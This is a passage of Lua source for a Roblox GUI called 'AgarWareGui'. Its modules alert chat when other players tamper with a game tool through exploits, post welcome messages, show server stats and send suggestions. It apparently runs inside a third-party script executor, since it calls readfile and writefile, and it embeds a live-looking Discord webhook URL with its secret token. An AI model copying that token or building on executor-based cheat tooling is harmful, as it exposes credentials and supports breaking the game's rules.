local backpack = player:FindFirstChild("Backpack")
local char2 = workspace:FindFirstChild(player.Name)
local stillHas = (backpack and backpack:FindFirstChild("The Arkenstone"))
or (char2 and char2:FindFirstChild("The Arkenstone"))
if not stillHas then
knownEnlightened[player] = nil
end
end)
end)
end
-- Also watch backpack
local backpack = player:FindFirstChild("Backpack")
if backpack then
backpack.ChildAdded:Connect(function(item)
if item.Name == "The Arkenstone" then
-- Mark as known when it enters backpack so re-equip doesnt trigger
knownEnlightened[player] = true
end
end)
backpack.ChildRemoved:Connect(function(item)
if item.Name ~= "The Arkenstone" then return end
task.delay(0.3, function()
local bp = player:FindFirstChild("Backpack")
local char2 = workspace:FindFirstChild(player.Name)
local stillHas = (bp and bp:FindFirstChild("The Arkenstone"))
or (char2 and char2:FindFirstChild("The Arkenstone"))
if not stillHas then
knownEnlightened[player] = nil
end
end)
end)
end
if player.Character then
watchChar(player.Character)
end
player.CharacterAdded:Connect(function(char)
knownEnlightened[player] = nil
watchChar(char)
end)
end
-- ============================================================
-- ENABLE / DISABLE
-- ============================================================
local playerAddedConn = nil
local function enable()
isEnabled = true
pendingPlayers = {}
watchedPlayers = {}
windowTimer = nil
knownEnlightened = {}
for _, player in pairs(Players:GetPlayers()) do
if playerHasEnlighten(player) then
knownEnlightened[player] = true
end
end
for _, player in pairs(Players:GetPlayers()) do
task.spawn(watchPlayer, player)
end
playerAddedConn = Players.PlayerAdded:Connect(function(player)
task.spawn(watchPlayer, player)
end)
EnlightenLogTickBox.BackgroundColor3 = MiscAccentColor.BackgroundColor3
end
local function disable()
isEnabled = false
pendingPlayers = {}
watchedPlayers = {}
knownEnlightened = {}
if windowTimer then
task.cancel(windowTimer)
windowTimer = nil
end
if playerAddedConn then
playerAddedConn:Disconnect()
playerAddedConn = nil
end
EnlightenLogTickBox.BackgroundColor3 = Color3.new(0, 0, 0)
end
EnlightenLogTickBox.MouseButton1Click:Connect(function()
if isEnabled then disable() else enable() end
end)
script.AncestryChanged:Connect(function()
if not script:IsDescendantOf(game) then
isEnabled = false
tooltipFrame:Destroy()
if windowTimer then
task.cancel(windowTimer)
end
end
end)
end;
task.spawn(C_2a3);
-- StarterGui.AgarWareGui.MainFrame.ContentArea.TCOMiscPage.TCOMiscRightSide.AlertGroup.BkitDeleteRow.BkitDeleteScript
local function C_2aa()
local script = G2L["2aa"];
local Players = game:GetService("Players")
local RunService = game:GetService("RunService")
local ReplicatedStorage = game:GetService("ReplicatedStorage")
local BkitDeleteRow = script.Parent
local BkitDeleteTickBox = BkitDeleteRow:WaitForChild("BkitDeleteTickBox")
local AlertGroup = BkitDeleteRow.Parent
local MiscAccentColor = AlertGroup:WaitForChild("AlertAccentColor")
local isEnabled = false
--------------------------------------------------
-- VISUAL
--------------------------------------------------
BkitDeleteTickBox.BackgroundColor3 = Color3.new(0, 0, 0)
local function updateVisual()
if isEnabled then
BkitDeleteTickBox.BackgroundColor3 = MiscAccentColor.BackgroundColor3
else
BkitDeleteTickBox.BackgroundColor3 = Color3.new(0, 0, 0)
end
end
BkitDeleteTickBox.MouseButton1Click:Connect(function()
isEnabled = not isEnabled
updateVisual()
end)
local function getScreenGui()
local p = script.Parent
while p do
if p:IsA("ScreenGui") then return p end
p = p.Parent
end
end
local tooltipFrame = Instance.new("Frame")
tooltipFrame.BackgroundColor3 = Color3.fromRGB(16, 16, 16)
tooltipFrame.BorderSizePixel = 0
tooltipFrame.ZIndex = 100
tooltipFrame.AutomaticSize = Enum.AutomaticSize.Y
tooltipFrame.Size = UDim2.new(0, 212, 0, 0)
tooltipFrame.Visible = false
tooltipFrame.Parent = getScreenGui()
local stroke = Instance.new("UIStroke", tooltipFrame)
stroke.Color = Color3.fromRGB(57, 57, 57)
local padding = Instance.new("UIPadding", tooltipFrame)
padding.PaddingTop = UDim.new(0, 6)
padding.PaddingBottom = UDim.new(0, 6)
padding.PaddingLeft = UDim.new(0, 6)
padding.PaddingRight = UDim.new(0, 6)
local label = Instance.new("TextLabel", tooltipFrame)
label.BackgroundTransparency = 1
label.Text = "Detects and announces when a player disables bkit using exploits."
label.TextColor3 = Color3.new(1, 1, 1)
label.TextSize = 14
label.TextXAlignment = Enum.TextXAlignment.Left
label.TextYAlignment = Enum.TextYAlignment.Top
label.Font = Enum.Font.GothamSemibold
label.TextWrapped = true
label.Size = UDim2.new(0, 200, 0, 0)
label.AutomaticSize = Enum.AutomaticSize.Y
label.ZIndex = 101
BkitDeleteTickBox.MouseEnter:Connect(function()
local abs = BkitDeleteTickBox.AbsolutePosition
local size = BkitDeleteTickBox.AbsoluteSize
tooltipFrame.Position = UDim2.new(0, abs.X + size.X + 10, 0, abs.Y)
tooltipFrame.Visible = true
end)
BkitDeleteTickBox.MouseLeave:Connect(function()
tooltipFrame.Visible = false
end)
script.AncestryChanged:Connect(function()
if not script:IsDescendantOf(game) then
tooltipFrame:Destroy()
end
end)
--------------------------------------------------
-- SETTINGS
--------------------------------------------------
local BRICK_SOUND_ID = "rbxassetid://9117183621"
local IDEAL_DELAY = 0.1
local MAX_DELAY = 0.2 -- ignore anyone past this
--------------------------------------------------
-- SOUND TRACKING
--------------------------------------------------
local recentDeleteSound = {}
local function hookHRP(player, hrp)
local function trackSound(obj)
if not obj:IsA("Sound") or obj.SoundId ~= BRICK_SOUND_ID then return end
local lastTime = 0
local wasPlaying = false
RunService.Heartbeat:Connect(function()
if not obj.Parent then return end
local t = obj.TimePosition
local playing = obj.IsPlaying
if playing then
if not wasPlaying or (lastTime > 0.05 and t < 0.05) then
recentDeleteSound[player.UserId] = tick()
end
end
lastTime = t
wasPlaying = playing
end)
end
for _, obj in pairs(hrp:GetDescendants()) do
trackSound(obj)
end
hrp.DescendantAdded:Connect(trackSound)
end
local function watchPlayer(player)
if player.Character then
local hrp = player.Character:FindFirstChild("HumanoidRootPart")
if hrp then hookHRP(player, hrp) end
end
player.CharacterAdded:Connect(function(char)
local hrp = char:WaitForChild("HumanoidRootPart", 10)
if hrp then hookHRP(player, hrp) end
end)
end
for _, p in ipairs(Players:GetPlayers()) do
watchPlayer(p)
end
Players.PlayerAdded:Connect(watchPlayer)
--------------------------------------------------
-- SEND CHAT
--------------------------------------------------
local function sendChat(message)
if shared.sendChat then
shared.sendChat(message)
end
end
--------------------------------------------------
-- WATCH BRICK TEMPLATE
--------------------------------------------------
local brickTemplate = ReplicatedStorage:WaitForChild("Brick")
local lastDisappear = 0
brickTemplate.AncestryChanged:Connect(function()
if brickTemplate:IsDescendantOf(ReplicatedStorage) then return end
if not isEnabled then return end
if tick() - lastDisappear < 0.5 then return end
lastDisappear = tick()
local disappearedAt = tick()
-- Wait for sounds to come in after brick deletion
task.wait(MAX_DELAY)
local best = nil
local bestDiff = math.huge
for _, player in ipairs(Players:GetPlayers()) do
local soundTime = recentDeleteSound[player.UserId]
if soundTime then
local delay = soundTime - disappearedAt
-- Only consider sounds played AFTER brick disappeared within MAX_DELAY
if delay >= 0 and delay <= MAX_DELAY then
local diff = math.abs(delay - IDEAL_DELAY)
if diff < bestDiff then
best = player
bestDiff = diff
end
end
end
end
-- Always send the first message
sendChat("🔊BKIT HAS BEEN DISABLED")
if best then
task.wait(0.1)
sendChat("🔊POSSIBLE SUSPECT: " .. best.DisplayName)
end
end)
end;
task.spawn(C_2aa);
-- StarterGui.AgarWareGui.MainFrame.ContentArea.TCOMiscPage.TCOMiscRightSide.AlertGroup.RepPaintsRow.RepPaintsScript
local function C_2ae()
local script = G2L["2ae"];
local ReplicatedStorage = game:GetService("ReplicatedStorage")
local repBrick = ReplicatedStorage:WaitForChild("Brick")
--------------------------------------------------
-- GUI REFERENCES
--------------------------------------------------
local RepPaintsRow = script.Parent
local AlertGroup = RepPaintsRow.Parent
local AlertAccentColor = AlertGroup:WaitForChild("AlertAccentColor")
local RepPaintsTickBox = RepPaintsRow:WaitForChild("RepPaintsTickBox")
--------------------------------------------------
-- ENABLE STATE
--------------------------------------------------
RepPaintsTickBox.BackgroundColor3 = Color3.new(0, 0, 0)
RepPaintsTickBox:SetAttribute("Enabled", false)
local function updateVisual()
if RepPaintsTickBox:GetAttribute("Enabled") then
RepPaintsTickBox.BackgroundColor3 = AlertAccentColor.BackgroundColor3
else
RepPaintsTickBox.BackgroundColor3 = Color3.new(0, 0, 0)
end
end
RepPaintsTickBox.MouseButton1Click:Connect(function()
local state = not RepPaintsTickBox:GetAttribute("Enabled")
RepPaintsTickBox:SetAttribute("Enabled", state)
updateVisual()
end)
updateVisual()
-- Share the enabled state globally so AutoPaintRep can read it
shared.RepPaintsEnabled = RepPaintsTickBox:GetAttribute("Enabled")
RepPaintsTickBox:GetAttributeChangedSignal("Enabled"):Connect(function()
shared.RepPaintsEnabled = RepPaintsTickBox:GetAttribute("Enabled")
end)
-- ============================================================
-- TOOLTIP
-- ============================================================
local tooltipFrame = Instance.new("Frame")
tooltipFrame.Name = "RepPaintsTooltip"
tooltipFrame.BackgroundColor3 = Color3.fromRGB(16, 16, 16)
tooltipFrame.BorderSizePixel = 0
tooltipFrame.ZIndex = 100
tooltipFrame.AutomaticSize = Enum.AutomaticSize.Y
tooltipFrame.Size = UDim2.new(0, 212, 0, 0)
tooltipFrame.Visible = false
tooltipFrame.Parent = script.Parent.Parent:FindFirstAncestorWhichIsA("ScreenGui")
tooltipFrame.ClipsDescendants = true
tooltipFrame.Active = false
tooltipFrame.Selectable = false
local tooltipStroke = Instance.new("UIStroke")
tooltipStroke.Color = Color3.fromRGB(57, 57, 57)
tooltipStroke.Thickness = 1
tooltipStroke.Parent = tooltipFrame
local tooltipPadding = Instance.new("UIPadding")
tooltipPadding.PaddingTop = UDim.new(0, 6)
tooltipPadding.PaddingBottom = UDim.new(0, 6)
tooltipPadding.PaddingLeft = UDim.new(0, 6)
tooltipPadding.PaddingRight = UDim.new(0, 6)
tooltipPadding.Parent = tooltipFrame
local tooltipText = Instance.new("TextLabel")
tooltipText.BackgroundTransparency = 1
tooltipText.Text = "Sends an alert in chat when someone exploits to paint the ReplicatedStorage.Brick."
tooltipText.TextColor3 = Color3.new(1, 1, 1)
tooltipText.TextSize = 14
tooltipText.TextXAlignment = Enum.TextXAlignment.Left
tooltipText.TextYAlignment = Enum.TextYAlignment.Top
tooltipText.Font = Enum.Font.GothamSemibold
tooltipText.TextWrapped = true
tooltipText.Size = UDim2.new(0, 200, 0, 0)
tooltipText.AutomaticSize = Enum.AutomaticSize.Y
tooltipText.ZIndex = 101
tooltipText.Parent = tooltipFrame
RepPaintsTickBox.MouseEnter:Connect(function()
local abs = RepPaintsTickBox.AbsolutePosition
local size = RepPaintsTickBox.AbsoluteSize
tooltipFrame.Position = UDim2.new(0, abs.X + size.X + 10, 0, abs.Y)
tooltipFrame.Visible = true
end)
RepPaintsTickBox.MouseLeave:Connect(function()
tooltipFrame.Visible = false
end)
--------------------------------------------------
-- SHARED STATE
--------------------------------------------------
shared.IsRestoringBKit = shared.IsRestoringBKit or false
shared.RepPaintsDebounce = shared.RepPaintsDebounce or nil
--------------------------------------------------
-- HELPERS
--------------------------------------------------
local function sendChat(msg)
if shared.sendChat then shared.sendChat(msg) end
end
--------------------------------------------------
-- CLEAN MATERIALS
--------------------------------------------------
local CLEAN_MATERIALS = {
["SmoothPlastic"] = true,
["CeramicTiles"] = true,
["Plastic"] = true,
["Concrete"] = true,
}
local lastMaterial = repBrick.Material
--------------------------------------------------
-- ALERT HANDLER
--------------------------------------------------
local function onChangeConfirmed()
if not RepPaintsTickBox:GetAttribute("Enabled") then return end
if shared.IsRestoringBKit then return end
sendChat("🚨A player exploited/painted bkit")
end
--------------------------------------------------
-- DETERMINE IF CHANGE COUNTS
--------------------------------------------------
local function isChangeCounted()
local mat = repBrick.Material
local color = repBrick.Color
local anchored = repBrick.Anchored
local hasChildren = #repBrick:GetChildren() > 0
-- ONLY ignore material change itself if Clean→Clean or Normal→Clean
local materialChangeIgnored = (CLEAN_MATERIALS[lastMaterial.Name] and CLEAN_MATERIALS[mat.Name])
or (not CLEAN_MATERIALS[lastMaterial.Name] and CLEAN_MATERIALS[mat.Name])
lastMaterial = mat -- always update lastMaterial
-- COUNT a change if ANY of these is true (OR logic)
if materialChangeIgnored then
return hasChildren or anchored == false or color ~= Color3.fromRGB(192,192,192) or not CLEAN_MATERIALS[mat.Name]
else
return true
end
end
local function onBrickChanged()
if not RepPaintsTickBox:GetAttribute("Enabled") then return end
if shared.IsRestoringBKit then return end
if isChangeCounted() then
-- debounce alert
if shared.RepPaintsDebounce then
task.cancel(shared.RepPaintsDebounce)
end
shared.RepPaintsDebounce = task.delay(1, function()
shared.RepPaintsDebounce = nil
onChangeConfirmed()
end)
end
end
--------------------------------------------------
-- MONITOR
--------------------------------------------------
local connections = {}
local function startWatching()
table.insert(connections, repBrick:GetPropertyChangedSignal("Color"):Connect(onBrickChanged))
table.insert(connections, repBrick:GetPropertyChangedSignal("Material"):Connect(onBrickChanged))
table.insert(connections, repBrick:GetPropertyChangedSignal("Anchored"):Connect(onBrickChanged))
table.insert(connections, repBrick:GetPropertyChangedSignal("Size"):Connect(onBrickChanged))
table.insert(connections, repBrick:GetPropertyChangedSignal("BrickColor"):Connect(onBrickChanged))
table.insert(connections, repBrick.ChildAdded:Connect(onBrickChanged))
table.insert(connections, repBrick.ChildRemoved:Connect(onBrickChanged))
end
local function stopWatching()
for _, c in ipairs(connections) do
pcall(function() c:Disconnect() end)
end
connections = {}
if shared.RepPaintsDebounce then
task.cancel(shared.RepPaintsDebounce)
shared.RepPaintsDebounce = nil
end
end
startWatching()
script.AncestryChanged:Connect(function()
if not script:IsDescendantOf(game) then
stopWatching()
end
end)
end;
task.spawn(C_2ae);
-- StarterGui.AgarWareGui.MainFrame.ContentArea.TCOMiscPage.TCOMiscRightSide.PlayerAlertGroup.PlayerAlertTooltip
local function C_2b2()
local script = G2L["2b2"];
-- ============================================================
-- PLAYER ALERT GROUP TOOLTIP SCRIPT
-- ============================================================
local PlayerAlertGroup = script.Parent
-- ============================================================
-- SCREENGUI HELPER
-- ============================================================
local function getScreenGui()
local p = script.Parent
while p do
if p:IsA("ScreenGui") then
return p
end
p = p.Parent
end
end
local ScreenGui = getScreenGui()
if not ScreenGui then return end
-- ============================================================
-- FIND UI REFERENCES
-- ============================================================
local function findDescendant(name)
for _, v in pairs(ScreenGui:GetDescendants()) do
if v.Name == name then
return v
end
end
end
local WelcomeMSGHelp = findDescendant("WelcomeMSGHelp")
local WelcomeTickBox = findDescendant("WelcomeTickBox")
-- ============================================================
-- TOOLTIP BUILDER
-- ============================================================
local function makeTooltip(text)
local frame = Instance.new("Frame")
frame.BackgroundColor3 = Color3.fromRGB(16,16,16)
frame.BorderSizePixel = 0
frame.ZIndex = 100
frame.AutomaticSize = Enum.AutomaticSize.Y
frame.Size = UDim2.new(0, 212, 0, 0)
frame.Visible = false
frame.Parent = ScreenGui
local stroke = Instance.new("UIStroke")
stroke.Color = Color3.fromRGB(57,57,57)
stroke.Parent = frame
local padding = Instance.new("UIPadding")
padding.PaddingTop = UDim.new(0,6)
padding.PaddingBottom = UDim.new(0,6)
padding.PaddingLeft = UDim.new(0,6)
padding.PaddingRight = UDim.new(0,6)
padding.Parent = frame
local label = Instance.new("TextLabel")
label.BackgroundTransparency = 1
label.Text = text
label.TextColor3 = Color3.new(1,1,1)
label.TextSize = 14
label.TextXAlignment = Enum.TextXAlignment.Left
label.TextYAlignment = Enum.TextYAlignment.Top
label.Font = Enum.Font.GothamSemibold
label.TextWrapped = true
label.Size = UDim2.new(0,200,0,0)
label.AutomaticSize = Enum.AutomaticSize.Y
label.ZIndex = 101
label.Parent = frame
return frame
end
local function hookTooltip(button, tooltipFrame)
if not button then return end
button.MouseEnter:Connect(function()
local abs = button.AbsolutePosition
local size = button.AbsoluteSize
tooltipFrame.Position = UDim2.new(0, abs.X + size.X + 10, 0, abs.Y)
tooltipFrame.Visible = true
end)
button.MouseLeave:Connect(function()
tooltipFrame.Visible = false
end)
end
-- ============================================================
-- CREATE TOOLTIPS
-- ============================================================
local welcomeMsgHelpTooltip = makeTooltip(
"Use (Username) or (Display) in your welcome message to insert the player's name.\n\nExample: 👋 (Display) joined!"
)
local welcomeTickBoxTooltip = makeTooltip(
"Sends a welcome message in chat when a player joins the server."
)
-- ============================================================
-- HOOK THEM
-- ============================================================
hookTooltip(WelcomeMSGHelp, welcomeMsgHelpTooltip)
hookTooltip(WelcomeTickBox, welcomeTickBoxTooltip)
-- ============================================================
-- CLEANUP
-- ============================================================
script.AncestryChanged:Connect(function()
if not script:IsDescendantOf(game) then
welcomeMsgHelpTooltip:Destroy()
welcomeTickBoxTooltip:Destroy()
end
end)
end;
task.spawn(C_2b2);
-- StarterGui.AgarWareGui.MainFrame.ContentArea.TCOMiscPage.TCOMiscRightSide.PlayerAlertGroup.PlayerAlertScript
local function C_2b3()
local script = G2L["2b3"];
local PlayerAlertGroup = script.Parent
local PlayerAlertMinimize = PlayerAlertGroup.PlayerAlertTitle.PlayerAlertMinimize
local function getRows()
local rows = {}
for _, child in ipairs(PlayerAlertGroup:GetChildren()) do
if child:IsA("Frame") and string.find(child.Name, "Row") then
table.insert(rows, child)
end
end
return rows
end
local isMinimized = false
local originalSize = PlayerAlertGroup.Size
local minimizedSize = UDim2.new(0, 170, 0, 20)
PlayerAlertMinimize.MouseButton1Click:Connect(function()
isMinimized = not isMinimized
local rows = getRows()
if isMinimized then
PlayerAlertGroup.Size = minimizedSize
for _, row in ipairs(rows) do
row.Visible = false
end
PlayerAlertMinimize.Text = "+"
else
PlayerAlertGroup.Size = originalSize
for _, row in ipairs(rows) do
row.Visible = true
end
PlayerAlertMinimize.Text = "-"
end
end)
end;
task.spawn(C_2b3);
-- StarterGui.AgarWareGui.MainFrame.ContentArea.TCOMiscPage.TCOMiscRightSide.PlayerAlertGroup.WelcomeRow.WelcomeScript
local function C_2b9()
local script = G2L["2b9"];
-- WelcomeScript (goes in WelcomeRow)
local Players = game:GetService("Players")
local TextChatService = game:GetService("TextChatService")
local WelcomeTickBox = script.Parent.WelcomeTickBox
local PlayerAlertGroup = script.Parent.Parent
local PlayerAlertAccentColor = PlayerAlertGroup.PlayerAlertAccentColor
WelcomeTickBox.BackgroundColor3 = Color3.new(0, 0, 0)
local function isEnabled()
return WelcomeTickBox.BackgroundColor3 ~= Color3.new(0, 0, 0)
end
WelcomeTickBox.MouseButton1Click:Connect(function()
if WelcomeTickBox.BackgroundColor3 == Color3.new(0, 0, 0) then
WelcomeTickBox.BackgroundColor3 = PlayerAlertAccentColor.BackgroundColor3
else
WelcomeTickBox.BackgroundColor3 = Color3.new(0, 0, 0)
end
end)
Players.PlayerAdded:Connect(function(player)
if not isEnabled() then return end
local message = shared.WelcomeMessage or "👋 (Display) joined the server!"
-- Replace placeholders (case insensitive)
message = string.gsub(message, "%([Uu][Ss][Ee][Rr][Nn][Aa][Mm][Ee]%)", player.Name)
message = string.gsub(message, "%([Dd][Ii][Ss][Pp][Ll][Aa][Yy]%)", player.DisplayName)
-- Send to chat (NO semicolon)
TextChatService.TextChannels.RBXGeneral:SendAsync(message)
end)
end;
task.spawn(C_2b9);
-- StarterGui.AgarWareGui.MainFrame.ContentArea.TCOMiscPage.TCOMiscRightSide.PlayerAlertGroup.WelcomeMSGRow.WelcomeMSGScript
local function C_2bd()
local script = G2L["2bd"];
-- WelcomeMSGScript (goes in WelcomeMSGRow)
local WelcomeMSGChanger = script.Parent.WelcomeMSGChanger
-- Set default message
WelcomeMSGChanger.Text = "👋 (Display) joined the server!"
-- Share the textbox content globally
WelcomeMSGChanger:GetPropertyChangedSignal("Text"):Connect(function()
shared.WelcomeMessage = WelcomeMSGChanger.Text
end)
-- Initialize
shared.WelcomeMessage = WelcomeMSGChanger.Text
end;
task.spawn(C_2bd);
-- StarterGui.AgarWareGui.MainFrame.ContentArea.OPENCONSOLE.LocalScript
local function C_2c1()
local script = G2L["2c1"];
local StarterGui = game:GetService("StarterGui")
-- The script's parent is the specific OPENCONSOLE button
local button = script.Parent
-- Ensure this is the exact button we want
if button:IsA("TextButton") and button.Name == "OPENCONSOLE" then
button.MouseButton1Click:Connect(function()
-- Open the developer console
pcall(function()
StarterGui:SetCore("DevConsoleVisible", true)
end)
end)
end
end;
task.spawn(C_2c1);
-- StarterGui.AgarWareGui.MainFrame.ContentArea.MenuPage.MenuLeftSide.ServerGroup.ServerScript
local function C_2c6()
local script = G2L["2c6"];
-- ============================================================
-- SERVER GROUP MASTER SCRIPT
-- Place this script directly under ServerGroup
-- Handles minimize and all server stat displays
-- ============================================================
local Players = game:GetService("Players")
local RunService = game:GetService("RunService")
local HttpService = game:GetService("HttpService")
local ServerGroup = script.Parent
local ServerMinimize = ServerGroup.ServerTitle.ServerMinimize
-- ============================================================
-- MINIMIZE FUNCTIONALITY
-- ============================================================
local function getRows()
local rows = {}
for _, child in ipairs(ServerGroup:GetChildren()) do
if child:IsA("Frame") and string.find(child.Name, "Row") then
table.insert(rows, child)
end
end
return rows
end
local isMinimized = false
local originalSize = ServerGroup.Size
local minimizedSize = UDim2.new(0, 170, 0, 20)
ServerMinimize.MouseButton1Click:Connect(function()
isMinimized = not isMinimized
local rows = getRows()
if isMinimized then
ServerGroup.Size = minimizedSize
for _, row in ipairs(rows) do
row.Visible = false
end
ServerMinimize.Text = "+"
else
ServerGroup.Size = originalSize
for _, row in ipairs(rows) do
row.Visible = true
end
ServerMinimize.Text = "-"
end
end)
-- ============================================================
-- SERVER STAT SETUP FUNCTION
-- Makes it easy to add new stats
-- ============================================================
local function setupStat(config)
--[[
config = {
row = "LatencyRow", -- Name of the row
textLabel = "Text", -- Name of the TextLabel inside the row
updateFunction = function() -- Function that returns the display text
return "📶 Latency: 50ms"
end,
updateInterval = 0 -- 0 = every frame, or number of seconds
}
]]
local rowName = config.row
local textLabelName = config.textLabel or "Text"
local updateFunction = config.updateFunction
local updateInterval = config.updateInterval or 0
local row = ServerGroup:FindFirstChild(rowName)
if not row then
warn("[ServerStat] Row not found:", rowName)
return
end
local textLabel = row:FindFirstChild(textLabelName)
if not textLabel then
warn("[ServerStat] TextLabel not found:", textLabelName, "in", rowName)
return
end
local function updateDisplay()
if updateFunction then
local success, result = pcall(updateFunction)
if success and result then
textLabel.Text = result
end
end
end
-- Initial update
updateDisplay()
-- Continuous updates
if updateInterval == 0 then
-- Update every frame
RunService.Heartbeat:Connect(function()
updateDisplay()
end)
else
-- Update every X seconds
task.spawn(function()
while true do
task.wait(updateInterval)
updateDisplay()
end
end)
end
end
-- ============================================================
-- SERVER STATS DEFINITIONS
-- Add your stats here using setupStat()
-- ============================================================
-- Latency (Ping)
setupStat({
row = "LatencyRow",
updateFunction = function()
local player = Players.LocalPlayer
if player then
local pingInSeconds = player:GetNetworkPing()
local ping = math.round(pingInSeconds * 1000)
return "📶 Latency: " .. ping .. "ms"
end
return "📶 Latency: 0ms"
end,
updateInterval = 0 -- Every frame
})
-- Players Count
setupStat({
row = "PlayersRow",
updateFunction = function()
local playerCount = #Players:GetPlayers()
local maxPlayers = Players.MaxPlayers
return string.format("👥 Players: %d/%d", playerCount, maxPlayers)
end,
updateInterval = 0 -- Every frame
})
-- Region
local regionCode = "N/A"
local function fetchRegion()
local url = "http://ip-api.com/json/?fields=16394"
local success, response = pcall(function()
return HttpService:GetAsync(url)
end)
if success then
local data = HttpService:JSONDecode(response)
if data.status == "success" and data.countryCode then
regionCode = data.countryCode
else
regionCode = "N/A"
end
else
regionCode = "N/A"
end
end
-- Fetch region immediately
task.spawn(fetchRegion)
setupStat({
row = "RegionRow",
updateFunction = function()
return "🌐 Region: " .. regionCode
end,
updateInterval = 60 -- Update every 60 seconds
})
-- Uptime
local serverStartTime = tick()
local function formatUptime(seconds)
local hours = math.floor(seconds / 3600)
local minutes = math.floor((seconds % 3600) / 60)
local secs = math.floor(seconds % 60)
return string.format("%dh %dm %ds", hours, minutes, secs)
end
setupStat({
row = "UptimeRow",
updateFunction = function()
local uptime = tick() - serverStartTime
return "⌛ Uptime: " .. formatUptime(uptime)
end,
updateInterval = 0 -- Every frame
})
-- ============================================================
-- ADD NEW STATS HERE - USE THIS TEMPLATE:
-- ============================================================
--[[
TEMPLATE FOR SIMPLE STATS (updates every frame):
setupStat({
row = "YourRow",
updateFunction = function()
-- Your code to get the value
local value = 123
return "🔥 Your Stat: " .. value
end
})
================================================================================
TEMPLATE FOR SLOW STATS (updates every X seconds):
setupStat({
row = "YourRow",
updateFunction = function()
-- Your code to get the value
local value = 456
return "⚡ Your Stat: " .. value
end,
updateInterval = 5 -- Update every 5 seconds
})
================================================================================
EXAMPLE - FPS Counter:
setupStat({
row = "FPSRow",
updateFunction = function()
local fps = math.round(1 / RunService.Heartbeat:Wait())
return "🎮 FPS: " .. fps
end
})
================================================================================
EXAMPLE - Server Age:
local serverCreatedTime = os.time()
setupStat({
row = "ServerAgeRow",
updateFunction = function()
local age = os.time() - serverCreatedTime
local hours = math.floor(age / 3600)
return "📅 Server Age: " .. hours .. "h"
end,
updateInterval = 60 -- Update every minute
})
================================================================================
EXAMPLE - Memory Usage:
setupStat({
row = "MemoryRow",
updateFunction = function()
local memory = math.round(game:GetService("Stats"):GetTotalMemoryUsageMb())
return "💾 Memory: " .. memory .. "MB"
end,
updateInterval = 2 -- Update every 2 seconds
})
================================================================================
]]
-- PASTE YOUR NEW STATS BELOW THIS LINE
-- ============================================================
-- ============================================================
-- CLEANUP
-- ============================================================
script.AncestryChanged:Connect(function()
if not script:IsDescendantOf(game) then
-- All connections auto-disconnect when script is destroyed
end
end)
end;
task.spawn(C_2c6);
-- StarterGui.AgarWareGui.MainFrame.ContentArea.MenuPage.MenuLeftSide.SuggestionGroup.SuggestionScript
local function C_2d4()
local script = G2L["2d4"];
-- ============================================================
-- SUGGESTION GROUP MASTER SCRIPT
-- Place this script directly under SuggestionGroup
-- Handles minimize, message sending with cooldown, and tooltips
-- ============================================================
local HttpService = game:GetService("HttpService")
local Players = game:GetService("Players")
local LocalPlayer = Players.LocalPlayer
local SuggestionGroup = script.Parent
local SuggestionMinimize = SuggestionGroup.SuggestionTitle.SuggestionMinimize
-- ============================================================
-- SCREENGUI HELPER
-- ============================================================
local function getScreenGui()
local p = SuggestionGroup
while p do
if p:IsA("ScreenGui") then return p end
p = p.Parent
end
return game:GetService("CoreGui")
end
-- ============================================================
-- TOOLTIP CREATOR
-- ============================================================
local function createTooltip(name, text, parent)
local frame = Instance.new("Frame")
frame.Name = name
frame.BackgroundColor3 = Color3.fromRGB(16, 16, 16)
frame.BorderSizePixel = 0
frame.ZIndex = 100
frame.AutomaticSize = Enum.AutomaticSize.Y
frame.Size = UDim2.new(0, 212, 0, 0)
frame.Visible = false
frame.Parent = getScreenGui()
local stroke = Instance.new("UIStroke")
stroke.Color = Color3.fromRGB(57, 57, 57)
stroke.Thickness = 1
stroke.Parent = frame
local padding = Instance.new("UIPadding")
padding.PaddingTop = UDim.new(0, 6)
padding.PaddingBottom = UDim.new(0, 6)
padding.PaddingLeft = UDim.new(0, 6)
padding.PaddingRight = UDim.new(0, 6)
padding.Parent = frame
local label = Instance.new("TextLabel")
label.BackgroundTransparency = 1
label.Text = text
label.TextColor3 = Color3.new(1, 1, 1)
label.TextSize = 14
label.TextXAlignment = Enum.TextXAlignment.Left
label.TextYAlignment = Enum.TextYAlignment.Top
label.Font = Enum.Font.GothamSemibold
label.TextWrapped = true
label.Size = UDim2.new(0, 200, 0, 0)
label.AutomaticSize = Enum.AutomaticSize.Y
label.ZIndex = 101
label.Parent = frame
if parent then
parent.MouseEnter:Connect(function()
local abs = parent.AbsolutePosition
local size = parent.AbsoluteSize
frame.Position = UDim2.new(0, abs.X + size.X + 10, 0, abs.Y)
frame.Visible = true
end)
parent.MouseLeave:Connect(function()
frame.Visible = false
end)
end
return frame
end
-- ============================================================
-- MINIMIZE FUNCTIONALITY
-- ============================================================
local function getRows()
local rows = {}
for _, child in ipairs(SuggestionGroup:GetChildren()) do
if child:IsA("Frame") and string.find(child.Name, "Row") then
table.insert(rows, child)
end
end
return rows
end
local isMinimized = false
local originalSize = SuggestionGroup.Size
local minimizedSize = UDim2.new(0, 170, 0, 20)
SuggestionMinimize.MouseButton1Click:Connect(function()
isMinimized = not isMinimized
local rows = getRows()
if isMinimized then
SuggestionGroup.Size = minimizedSize
for _, row in ipairs(rows) do
row.Visible = false
end
SuggestionMinimize.Text = "+"
else
SuggestionGroup.Size = originalSize
for _, row in ipairs(rows) do
row.Visible = true
end
SuggestionMinimize.Text = "-"
end
end)
-- ============================================================
-- WEBHOOK MESSAGE SENDER
-- ============================================================
local SendRow = SuggestionGroup:FindFirstChild("SendRow")
if SendRow then
local SendButton = SendRow:FindFirstChild("SendButton")
local MessageRow = SuggestionGroup:FindFirstChild("MessageRow")
local MessageBox = MessageRow and MessageRow:FindFirstChild("MessageBox")
if SendButton and MessageBox then
-- Configuration
local WEBHOOK_URL = "https://discordapp.com/api/webhooks/1497976103569068174/SAvj1p0nxgZTqDMnDgcYKU2EPiQZrbkkhQo0Zcwwm3zZPhCkFohaCb6q5Bz9Aq-WJfI_"
local COOLDOWN_TIME = 21600 -- 6 hours in seconds
local SAVE_FILE = "webhook_cooldown.txt"
local isCooldown = false
local cooldownEnd = 0
-- File handling
local function readCooldown()
local success, result = pcall(function()
return readfile(SAVE_FILE)
end)
if success and result and result ~= "" then
return tonumber(result) or 0
end
return 0
end
local function writeCooldown(timestamp)
pcall(function()
writefile(SAVE_FILE, tostring(timestamp))
end)
end
-- Timer formatting
local function formatTime(seconds)
local hours = math.floor(seconds / 3600)
local mins = math.floor((seconds % 3600) / 60)
local secs = seconds % 60
return string.format("%02d:%02d:%02d", hours, mins, secs)
end
-- Timer update loop
local function updateTimer()
while isCooldown do
